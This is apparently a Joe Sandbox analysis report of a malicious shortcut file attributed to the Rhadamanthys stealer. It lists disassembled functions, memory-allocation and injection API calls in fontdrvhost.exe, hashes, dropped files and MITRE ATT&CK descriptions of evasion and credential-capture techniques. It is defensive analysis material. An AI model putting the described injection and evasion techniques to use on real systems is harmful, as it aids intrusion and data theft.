Opcode ID: a6810f1554f9fcf9a5886c11a9122e5995b9fbb02ffe083c3e6899cbcd3d2dda
Instruction ID: b1aba9be898a964d60b47d4a82642235de8744e72f20268477d6e9051074566f
Opcode Fuzzy Hash: a6810f1554f9fcf9a5886c11a9122e5995b9fbb02ffe083c3e6899cbcd3d2dda
Instruction Fuzzy Hash: 5CF0E0316412305A9B211A236CCC7763759AFC0776B1C4512DC0CDB280EBB0D90085E0

Function 02C63D41 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

LCMapStringEx.KERNELBASE(?,02C60C92,?,?,-00000008,?,00000000,00000000,00000000,00000000,00000000), ref: 02C63D75

Memory Dump Source

Source File: 00000025.00000003.3125257943.0000000002C30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_3_2c30000_9840ee24-ca7e-4dd6-a855-1e9dc96f8845.jbxd

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: f35c857d5b30ffcd9079e76f46fd89d4aa3782f2534a07bece2269d5f20fb048
Instruction ID: ed21d442173c4217669d80846cb25d97dce498071ab12d368568823a2d15601d
Opcode Fuzzy Hash: f35c857d5b30ffcd9079e76f46fd89d4aa3782f2534a07bece2269d5f20fb048
Instruction Fuzzy Hash: E3F07A3644025ABBCF126F91DC08DEE3F26EF48760F058150FA1826020C732C931EF90

Function 02C5BEFA Relevance: 1.3, APIs: 1, Instructions: 86COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,?), ref: 02C5BFCE

Memory Dump Source

Source File: 00000025.00000003.3125257943.0000000002C30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_3_2c30000_9840ee24-ca7e-4dd6-a855-1e9dc96f8845.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 8db711574ff26bd06e547ad3652bad1d5efc4efafba742b0713995cb58fd657e
Instruction ID: ced76ecf9004cf0ec84d10d4af54fd1bc3d1db0e46f32373e3c90518021b68a7
Opcode Fuzzy Hash: 8db711574ff26bd06e547ad3652bad1d5efc4efafba742b0713995cb58fd657e
Instruction Fuzzy Hash: AE310575E00219AFCB10CFA9D884BAEBFF4FB58708F108529E955A7240D731AE45CF98

Function 02C5BC80 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000), ref: 02C5BCC7

Memory Dump Source

Source File: 00000025.00000003.3125257943.0000000002C30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_3_2c30000_9840ee24-ca7e-4dd6-a855-1e9dc96f8845.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: c331f57d62c91300f543d9fc2c36afb60265e0b4b05a9cdddcf70a583c8f4703
Instruction ID: fbd1715d84095cb0f7fc942c376ae172619a8ad2359338bbfa1a95c8e1bb04cc
Opcode Fuzzy Hash: c331f57d62c91300f543d9fc2c36afb60265e0b4b05a9cdddcf70a583c8f4703
Instruction Fuzzy Hash: E9E0A9B5980A226BA3212A249D04E6F7A2CEFA57453044A21FC12E2204DF30EC16CAF9

Non-executed Functions

Function 02C5CDD5 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000003.3125257943.0000000002C30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_3_2c30000_9840ee24-ca7e-4dd6-a855-1e9dc96f8845.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d314555c5adc0065a21e31d2efd298d32be1960a596254520643afb8c2445c8a
Instruction ID: e03790ae60dc3170cbf3ade216b5ee8953bf19bed97bdeb3d3ccb58a4e71677f
Opcode Fuzzy Hash: d314555c5adc0065a21e31d2efd298d32be1960a596254520643afb8c2445c8a
Instruction Fuzzy Hash: CB515AB1E117159BEB14CF59D8857AEBBF0FB88318F148A2AD805EB240D379DA90CB50

Function 02C69277 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000003.3125257943.0000000002C30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_3_2c30000_9840ee24-ca7e-4dd6-a855-1e9dc96f8845.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d558d006f42668ff0cb3938fe5626bc0e09627662ae6e14989234e2d35bd114b
Instruction ID: c62470536c788f09c2bcd59799605262f246fd33eaf00411facce991cc310448
Opcode Fuzzy Hash: d558d006f42668ff0cb3938fe5626bc0e09627662ae6e14989234e2d35bd114b
Instruction Fuzzy Hash: 0BF06D79A00201CF8B24DF0AC5CCDA6B7F6FBC5728B6545A5E404DB221D3B0EE44DBA0

Function 02C5E841 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMON

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 02C5E960
___TypeMatch.LIBVCRUNTIME ref: 02C5EA6E
_UnwindNestedFrames.LIBCMT ref: 02C5EBC0
CallUnexpected.LIBVCRUNTIME ref: 02C5EBDB

Strings

csm, xrefs: 02C5E8EB
csm, xrefs: 02C5E87E
csm, xrefs: 02C5E997

Memory Dump Source

Source File: 00000025.00000003.3125257943.0000000002C30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_3_2c30000_9840ee24-ca7e-4dd6-a855-1e9dc96f8845.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 212c7ffc4587a00ebe778df6e0f332182fd83eaab2abf33d281b3e4d707ac368
Instruction ID: c37b9d51b7a30939c4975dea836b2a55a2064a4c45499e6f99d01011fcc884b1
Opcode Fuzzy Hash: 212c7ffc4587a00ebe778df6e0f332182fd83eaab2abf33d281b3e4d707ac368
Instruction Fuzzy Hash: A5B16871C00229AFCF19DFA4C880AAEBBB6BF44315B14455AEC066B211C771DB91DF99

Function 02C5D940 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 02C5D977
___except_validate_context_record.LIBVCRUNTIME ref: 02C5D97F
_ValidateLocalCookies.LIBCMT ref: 02C5DA08
__IsNonwritableInCurrentImage.LIBCMT ref: 02C5DA33
_ValidateLocalCookies.LIBCMT ref: 02C5DA88

Strings

csm, xrefs: 02C5DA1D

Memory Dump Source

Source File: 00000025.00000003.3125257943.0000000002C30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_3_2c30000_9840ee24-ca7e-4dd6-a855-1e9dc96f8845.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 6cc1b3e00b9cf5d2679d987df6349ab76ecd36f54e9a6a77699883b10e122e3a
Instruction ID: 08df4af724fc8d6472a7e81a71eb6ed7c1a898b253d9b0810e495b5a0cfc4f24
Opcode Fuzzy Hash: 6cc1b3e00b9cf5d2679d987df6349ab76ecd36f54e9a6a77699883b10e122e3a
Instruction Fuzzy Hash: 8341F434A40329ABCF00DF68C884AAE7BB5EF45328F048195EC1A6B391D731DA91CF95

Function 02C5E5EA Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 02C5E6B1
___AdjustPointer.LIBCMT ref: 02C5E6D4
___AdjustPointer.LIBCMT ref: 02C5E770

Memory Dump Source

Source File: 00000025.00000003.3125257943.0000000002C30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_3_2c30000_9840ee24-ca7e-4dd6-a855-1e9dc96f8845.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: e5281d2886e9e0ffe3e383cd0f6259d3821f8423459a76ff6ffa85242508c0a8
Instruction ID: a97b8fc1784c895215e2579a9286257224471698ed4f51dddc87b3cb7d15efef
Opcode Fuzzy Hash: e5281d2886e9e0ffe3e383cd0f6259d3821f8423459a76ff6ffa85242508c0a8
Instruction Fuzzy Hash: EC511572600726AFDB298F10D950B7AB7A5FF84384F14452DED0687291DB31EBC1DB98

Function 02C5DE91 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

___vcrt_FlsGetValue.LIBVCRUNTIME ref: 02C5DEAD
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 02C5DEC6

Memory Dump Source

Source File: 00000025.00000003.3125257943.0000000002C30000.00000040.00000400.00020000.00000000.sdmp, Offset: 02C30000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_3_2c30000_9840ee24-ca7e-4dd6-a855-1e9dc96f8845.jbxd

Similarity

API ID: Value___vcrt_
String ID:
API String ID: 1426506684-0
Opcode ID: e72bbf644d1e9aacc8ae927edbd59b7535319a7cd0aaad1342ddd7b1ddc5daa8
Instruction ID: 764ba7d24e85864b81c28e3b761f2a2fa9527043bd23824565bbde48541e7080
Opcode Fuzzy Hash: e72bbf644d1e9aacc8ae927edbd59b7535319a7cd0aaad1342ddd7b1ddc5daa8
Instruction Fuzzy Hash: B0014C335493715EA75435B47C84B7B27A5DF85379B200329EC16420D0EF61C991F6C8

Analysis Process: fontdrvhost.exePID: 7412, Parent PID: 5900COMMON

Executed Functions

Function 032502D8 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 169memoryfileCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,00000000,?,?), ref: 03250326

Part of subcall function 032500A4: VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 032500CD
Part of subcall function 032500A4: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 03250279

VirtualAlloc.KERNELBASE(00000000,00400000,00001000,00000004), ref: 03250378
VirtualProtect.KERNELBASE(0000002C,?,00000040,?), ref: 032503E7
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 03250407
MapViewOfFile.KERNELBASE(?,00000004,00000000,00000000,00000000), ref: 0325042E
VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 03250456
CloseHandle.KERNELBASE(?), ref: 03250471

Strings

,, xrefs: 03250356

Memory Dump Source

Source File: 00000026.00000003.3125508001.0000000003250000.00000040.00000001.00020000.00000000.sdmp, Offset: 03250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_3_3250000_fontdrvhost.jbxd

Similarity

API ID: Virtual$Alloc$Free$CloseFileHandleProtectView
String ID: ,
API String ID: 3867569247-3772416878
Opcode ID: 35eb397ea14406336b01ea38f36e06f8461e94550e7b98cd084062937234d485
Instruction ID: 6651964d395beedca7eebc9ec7ec946146bbdf13453581f401da44b01d7a8133
Opcode Fuzzy Hash: 35eb397ea14406336b01ea38f36e06f8461e94550e7b98cd084062937234d485
Instruction Fuzzy Hash: AD610EB5910209EFDB10DFA5CD84AAEBBB9FF08351F14C519F959A7240D770AA80CB50

Function 032500A4 Relevance: 2.7, APIs: 2, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 032500CD
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 03250279

Memory Dump Source

Source File: 00000026.00000003.3125508001.0000000003250000.00000040.00000001.00020000.00000000.sdmp, Offset: 03250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_3_3250000_fontdrvhost.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction ID: 7e3b425501fe382cbc2ee0bef82001ea532792872edcad81c52c744a3ea0d423
Opcode Fuzzy Hash: 7dc8e79fde86babc96161718fc4e5f80a5398d7d893a888eaa0e52eee754c683
Instruction Fuzzy Hash: 85718E71E1424ADFDB41CF98C981BEDBBF0AF09314F288095E865FB241C674AA91CF65

Analysis Process: fontdrvhost.exePID: 2276, Parent PID: 5900COMMON

Execution Graph

Execution Coverage:	33.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	83.3%
Total number of Nodes:	24
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0000018D016A1CF4 Relevance: 3.3, APIs: 2, Instructions: 278
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAcceptConnectPort.NTDLL ref: 0000018D016A1F92
CloseHandle.KERNELBASE ref: 0000018D016A1F9B

Memory Dump Source

Source File: 0000002A.00000002.3317298007.0000018D016A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000018D016A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_18d016a0000_fontdrvhost.jbxd

Similarity

API ID: AcceptCloseConnectHandlePort
String ID:
API String ID: 3811980168-0
Opcode ID: c28fd07678fc221e1754ee083f118103e9e8097afeb12f13d48dc470bfa4e84b
Instruction ID: ada8441c9cfbd55a8232159385ced81f1c4411d73e01a307880dadd19a275723
Opcode Fuzzy Hash: c28fd07678fc221e1754ee083f118103e9e8097afeb12f13d48dc470bfa4e84b
Instruction Fuzzy Hash: 2F91C830908F088FDB65EF2CD8417E573E1FB95310F94865EE48BC72D6EA74A9468B81

Function 0000018D016A0AC8 Relevance: 3.2, APIs: 2, Instructions: 185
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAcceptConnectPort.NTDLL ref: 0000018D016A0C14
NtAcceptConnectPort.NTDLL ref: 0000018D016A0C5E

Memory Dump Source

Source File: 0000002A.00000002.3317298007.0000018D016A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000018D016A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_18d016a0000_fontdrvhost.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 275693e7d66e5d53f7e2184dfa7c88ce453f9d9d0d3e8ba4525500231a394657
Instruction ID: 1238099880657121bec76867beaa0aa2d117eab3d622edcda6a67097660ef102
Opcode Fuzzy Hash: 275693e7d66e5d53f7e2184dfa7c88ce453f9d9d0d3e8ba4525500231a394657
Instruction Fuzzy Hash: EA512530918F150AEB2DAA3898952F8B7D0F781309FB4455EF0F3C51D3EE25C64A8B82

Function 0000018D016A1AA4 Relevance: 3.2, APIs: 2, Instructions: 150
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAcceptConnectPort.NTDLL ref: 0000018D016A1AE9

Part of subcall function 0000018D016A1870: GetProcessMitigationPolicy.KERNELBASE ref: 0000018D016A1943

NtAcceptConnectPort.NTDLL ref: 0000018D016A1BE3

Memory Dump Source

Source File: 0000002A.00000002.3317298007.0000018D016A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000018D016A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_18d016a0000_fontdrvhost.jbxd

Similarity

API ID: AcceptConnectPort$MitigationPolicyProcess
String ID:
API String ID: 2923266908-0
Opcode ID: e7c877b781110a0d6e647df344fb2e40eb660a4b7f668a210715c22aed20397b
Instruction ID: 01868a9ddd38cbfa559397dd13202750e59fd37f38f7a51940b73980e2a092ca
Opcode Fuzzy Hash: e7c877b781110a0d6e647df344fb2e40eb660a4b7f668a210715c22aed20397b
Instruction Fuzzy Hash: EC41F230608F488FDB48DF2C98897D57BD0EB55320F44839EE85ACB2D7DA34C9498795

Function 0000018D016A15C0 Relevance: 1.6, APIs: 1, Instructions: 76
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAcceptConnectPort.NTDLL(?,?,?,?,?,?,?,?,00000000,0000018D016A1E3A), ref: 0000018D016A1654

Memory Dump Source

Source File: 0000002A.00000002.3317298007.0000018D016A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000018D016A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_18d016a0000_fontdrvhost.jbxd

Similarity

API ID: AcceptConnectPort
String ID:
API String ID: 1658770261-0
Opcode ID: 1eb38bd4e9810c4692bda8c47b34b9a63fb6abd40dd4841afe63035e04063970
Instruction ID: 708a9f67750f8a977ff9805f7e27ab0ee350c2dffabdb9e179da0d7205624edf
Opcode Fuzzy Hash: 1eb38bd4e9810c4692bda8c47b34b9a63fb6abd40dd4841afe63035e04063970
Instruction Fuzzy Hash: BD219671908B048FDB55DF28C4C96A5B7E1FB69305F444A2EF44AC7250DB30D588CF41

Function 0000018D016A1870 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessMitigationPolicy.KERNELBASE ref: 0000018D016A1943

Memory Dump Source

Source File: 0000002A.00000002.3317298007.0000018D016A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000018D016A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_18d016a0000_fontdrvhost.jbxd

Similarity

API ID: MitigationPolicyProcess
String ID:
API String ID: 1088084561-0
Opcode ID: 26f3b5b73fc16ab59c2c5e195c9b4eeee4e831d251455a47b6c64e26f9aa79e3
Instruction ID: ea1071614259514dbfe702d5651880c2239ae42e6f7b11bfe9ef535e9b6a9c12
Opcode Fuzzy Hash: 26f3b5b73fc16ab59c2c5e195c9b4eeee4e831d251455a47b6c64e26f9aa79e3
Instruction Fuzzy Hash: 33318F30940F074AEFA69678AC947F173D0EB95322FD481A9E015D71D1EE69CA8DCB80

Non-executed Functions

Function 0000018D016A0511 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002A.00000002.3317298007.0000018D016A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000018D016A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_42_2_18d016a0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 247c94ababd4710b0196191072c8bbb5758b71c13019f7a788401a9348e82e18
Instruction ID: 1684949b0e2b346c4f6e13502068689c61c9b2d028cdf62c4328b71d82623ec0
Opcode Fuzzy Hash: 247c94ababd4710b0196191072c8bbb5758b71c13019f7a788401a9348e82e18
Instruction Fuzzy Hash: CFB01130E2AA00C2E3880E0AB8023A0F2B2C30B300F02B2322002F3220CA28CC08028F

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report IIC0XbKFjS.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Rhadamanthys

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_fontdrvhost.exe_d32c824e8915b30da4efd4eabd13e74e4ef8c1_ad0be647_ff8efbcc-3a40-403b-b76b-3bcbf180434f\Report.wer

